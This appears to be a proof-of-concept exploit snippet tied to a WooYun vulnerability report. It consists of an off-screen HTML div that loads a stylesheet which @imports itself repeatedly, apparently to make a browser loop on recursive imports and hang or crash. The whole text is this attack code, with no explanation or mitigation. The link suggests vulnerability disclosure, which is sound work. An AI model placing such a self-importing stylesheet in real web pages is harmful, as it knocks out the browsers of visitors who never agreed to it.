<code>
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
</code>

<code of css.css>
*{
 color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</code>

http://www.wooyun.org/bugs/wooyun-2010-0885

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